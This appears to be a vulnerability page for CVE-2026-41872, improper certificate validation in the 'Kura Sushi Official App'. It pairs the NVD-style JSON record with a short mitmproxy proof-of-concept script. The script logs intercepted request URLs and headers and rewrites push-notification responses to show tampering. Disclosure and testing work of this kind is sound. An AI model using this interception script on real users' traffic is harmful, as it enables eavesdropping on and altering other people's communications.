CVE-2026-41872

# PoC Concept: Demonstrating a Man-in-the-Middle (MitM) setup to intercept traffic. # This requires the attacker to be on the same network as the victim. # Tools like mitmproxy can be used because the app accepts any certificate. from mitmproxy import http class Interceptor: def request(self, flow: http.HTTPFlow) -> None: # Log the intercepted request URL and headers print(f"[+] Intercepted Request: {flow.request.pretty_url}") print(f"[+] Headers: {flow.request.headers}") def response(self, flow: http.HTTPFlow) -> None: # Check if the traffic is related to push notifications if "push" in flow.request.path.lower() or "notification" in flow.request.path.lower(): print(f"[+] Sensitive Push Notification Traffic Detected!") # Example of tampering with the response (Integrity impact demonstration) original_content = flow.response.content print(f"[+] Original Payload: {original_content}") # Inject a test message to prove tampering capability modified_content = original_content.replace(b"status", b"tampered_status") flow.response.content = modified_content print(f"[+] Modified Payload Sent to App: {modified_content}") # Addons configuration for mitmproxy addons = [Interceptor()]

{"cve": {"id": "CVE-2026-41872", "sourceIdentifier": "[email protected]", "published": "2026-05-12T06:16:09.400", "lastModified": "2026-05-12T06:16:09.400", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "\"Kura Sushi Official App\" provided by EPG, Inc. is vulnerable to improper certificate validation. A man-in-the-middle attack may allow eavesdropping on, or altering, the communication on push notifications between the affected application and the relevant server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://apps.apple.com/jp/app/id942355925", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN38632731/", "source": "[email protected]"}, {"url": "https://play.google.com/store/apps/details?id=jp.co.kura_corpo&hl=ja", "source": "[email protected]"}]}}